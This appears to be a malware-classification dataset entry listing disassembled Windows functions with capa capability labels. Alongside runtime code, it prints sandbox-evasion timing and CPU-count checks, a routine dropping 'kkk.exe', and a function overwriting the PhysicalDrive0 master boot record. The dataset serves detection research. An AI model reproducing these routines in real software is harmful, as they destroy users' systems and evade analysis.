joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140a83850]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140a83860]
mov dword [rax], 1
mov rax, qword [0x140a83870]
mov dword [rax], 1
mov rax, qword [0x140a83840]
mov dword [rax], 1
mov rax, qword [0x140a83700]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140a83830]
mov dword [0x140a86020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010c0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140a837f0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140a837d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140a836b0]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x1400015c7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x3e7
jg 0x140001609
mov eax, 1
jmp 0x14000160e
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001614
Capabilities:
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x20]
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 1
jg 0x14000163f
mov eax, 1
jmp 0x140001644
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x1400016a4
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
call sym.sAkk
xor eax, 1
test al, al
je 0x1400016b1
call sym.gikt
xor eax, 1
test al, al
je 0x1400016b1
call sym.gCos
xor eax, 1
test al, al
je 0x1400016b1
call sym.alMm
xor eax, 1
test al, al
jne 0x1400016e3
jmp 0x1400016b1
nop
lea rax, [0x140a8300e]
mov rdx, rax
lea rax, str.kkk.exe
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000171e
lea rax, str.Error
mov rcx, rax
call sym.perror
mov eax, 1
jmp 0x140001797
mov rax, qword [0x140a821c0]
mov rdx, qword [rbp - 8]
mov r9, rdx
mov r8d, 1
mov rdx, rax
lea rax, [0x140008020]
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x10], rax
mov rax, qword [0x140a821c0]
cmp qword [rbp - 0x10], rax
je 0x140001777
lea rax, str.Error
mov rcx, rax
call sym.perror
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
mov eax, 1
jmp 0x140001797
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
lea rax, str.Successfully__n
mov rcx, rax
call sym.printf
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001a70
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001ae0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x140a860b4]
mov r12, rcx
test ebx, ebx
jle 0x140001c10
mov rax, qword [0x140a860b8]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001b2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001bb5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001b10
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001c32
mov rax, qword [0x140a860b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140a860b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001bae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001bc0
add dword [0x140a860b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x140a860b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001bae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001b38
mov rax, qword [0x140a860b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002100
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x140a86120]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140a86100]
test rbx, rbx
je 0x14000215c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140002153
test r12, r12
je 0x140002153
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002138
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002390
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023a8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023b0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400023c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002405
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400023fc
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140002407
add rax, 0x28
cmp rax, r9
jne 0x1400023e8
xor eax, eax
ret

Function at 0x140002410
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024a0
mov rdx, qword [0x140a83700]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000248e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000248e
cmp word [rax + 0x18], 0x20b
jne 0x14000248e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400024a0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002479
add r12, 0x28
cmp r12, rsi
je 0x1400024a0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140002470
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400024b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140a83700]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002525
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000251c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024d0
add rax, 0x28
cmp rax, r9
jne 0x140002508
xor eax, eax
ret

Function at 0x140002530
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140a83700]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002550
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002558
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002550
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140a83700]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002590
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002598
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002590
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x1400025d8
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400025cf
test rcx, rcx
je 0x140002590
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400025c0
xor eax, eax
ret
Function at 0x1400025e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140a83700]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002600
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002608
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002620
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140a83700]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002640
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002648
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002640
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002640
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000268c
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026a0
add rdx, 0x28
cmp rdx, r9
jne 0x140002678
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140a83700]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026d2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400026e0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026d2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026d2
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400026d2
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000272d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002740
add rdx, 0x28
cmp r10, rdx
jne 0x140002718
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000274f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000275f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002736
test ecx, ecx
jg 0x140002748
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001f90
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x270
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rsp + 0x260], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r11 - 0x30], xmm0
mov qword [r11 - 0x20], rax
lea rcx, [rsp + 0x40]
lea rax, [0x14002d430]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140001fe0
lea rbx, [rsp + 0x40]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x248], xmm0
xor r14d, r14d
mov ecx, 0x200
call fcn.140006098
mov rdi, rax
mov qword [rsp + 0x248], rax
lea rsi, [rax + 0x200]
mov qword [rsp + 0x258], rsi
mov r8d, 0x200
mov rdx, rbx
mov rcx, rax
call fcn.140020c60
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1400020f5
lea rdx, [0x14002d388]
lea rcx, [0x1400344c0]
call fcn.140002c00
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140003530
movzx edx, al
mov rcx, rbx
call fcn.140003380
mov rcx, rbx
call fcn.140003220
jmp 0x14000217e
mov r8d, esi
sub r8d, edi
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x240]
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000213a
mov rcx, rsi
sub rcx, rdi
mov eax, dword [rsp + 0x240]
cmp rax, rcx
jne 0x14000213a
lea rdx, str.MBR
lea rcx, [0x140034320]
jmp 0x140002148
lea rdx, [0x14002d3b0]
lea rcx, [0x1400344c0]
call fcn.140002c00
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rbx, rax
mov dl, 0xa
add rcx, rax
call fcn.140003530
movzx edx, al
mov rcx, rbx
call fcn.140003380
mov rcx, rbx
call fcn.140003220
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rdi, rdi
je 0x1400021b2
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x1400021a7
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021e0
mov rdx, rsi
mov rcx, rdi
call fcn.140006090
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140006070
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call fcn.14000bfa0
int3
Function at 0x140005038
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140005066
xor eax, eax
jmp 0x14000514c
cmp qword [rcx + 0x68], 0
je 0x140005077
call fcn.140005168
jmp 0x14000514c
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000508e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140005090
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400050c2
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140020c60
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140005146
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400050f9
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140005122
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000ce9c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140005146
cmp rsi, rbx
ja 0x140005100
test rsi, rsi
je 0x140005146
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000ce9c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140006f00
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006f4a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006f4a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006f4a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006f4a
cmp dword [rcx + 0x84], 0xe
jbe 0x140006f4a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006f4c
xor al, al
add rsp, 0x28
ret
Function at 0x14000f928
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f997
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f997
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f997
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f997
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f997
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f997
cmp dword [rcx + 0xf8], 0
je 0x14000f997
mov ecx, ebx
call fcn.14000fa48
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f824
nop
cmp dword [rbp + 0x20], 0
je 0x14000f9e5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f9f0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000f928

Function at 0x14000fb2c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000f928
Function at 0x140014d60
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400066c0
sub rsp, rax
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140013940
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140014daf
mov rax, rbp
jmp 0x140014eb7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x35530]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140015e80
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x35530]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140014eb3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014eb3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140015e80
test rax, rax
js 0x140014eb3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140014eb3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140014ea5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140014ea5
cmp byte [rcx], 0xd
jne 0x140014e8b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140014e9a
cmp byte [rcx + 1], 0xa
jne 0x140014e9a
inc rcx
jmp 0x140014e9a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x33480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140014e6d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140014eb7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140006070
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400150d8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400150ee
mov al, 1
jmp 0x14001514e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400150ff
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001514c
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001a1a0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001514c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001514c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001514c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001514e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140015220
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140035530]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140015277
cmp word [rdx], r13w
jne 0x140015277
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14001527c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400153a1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400153c2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400152b5
mov rdx, r9
mov word [rbx], cx
jmp 0x1400152dc
cmp r9, r8
jae 0x1400152ec
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140015296
jmp 0x1400153a1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140015396
cmp dword [rsp + 0x80], esi
je 0x140015396
lea r8, [0x140035530]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14001536e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14001533e
mov word [rbx], r13w
jmp 0x14001539e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001534b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14001539e
cmp word [rsp + 0x70], r13w
jne 0x14001537b
cmp rbx, r14
je 0x140015338
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140015e88
cmp word [rsp + 0x70], r13w
je 0x1400153a1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140035530]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001539b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400153a1